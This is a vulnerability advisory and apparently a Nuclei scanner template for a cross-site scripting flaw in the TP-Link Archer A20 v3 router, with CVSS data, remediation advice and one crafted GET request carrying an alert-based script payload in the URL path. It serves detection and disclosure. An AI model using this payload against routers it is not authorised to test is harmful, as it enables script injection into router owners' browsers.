The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
PoC
id: CVE-2024-57514
info:
name: TP-Link Archer A20 v3 Router - Cross-site Scripting
author: s4e-io
severity: medium
description: |
The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
impact: |
Authenticated attackers can inject malicious JavaScript into directory listing pages, executing arbitrary code in victim browsers when they visit crafted URLs.
remediation: |
Update TP-Link Archer A20 v3 router to firmware version later than 1.0.6 Build 20231011 that addresses the XSS vulnerability.
reference:
- https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
- https://nvd.nist.gov/vuln/detail/CVE-2024-57514
classification:
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2024-57514
cwe-id: CWE-79
epss-score: 0.00885
epss-percentile: 0.57455
metadata:
max-request: 1
vendor: tp-link
product: tp-link-archer-a20-v3-router
tags: cve,cve2024,tplink,router,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100cabe96541e7f4ebd556fb08ad53b40a09e7f1a2d471f7837e009d665759fe4aa022100d4d478b521b6c5c175cc2c59dd2f1009b18fd0df3f01d9595483399ea6f7a672:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.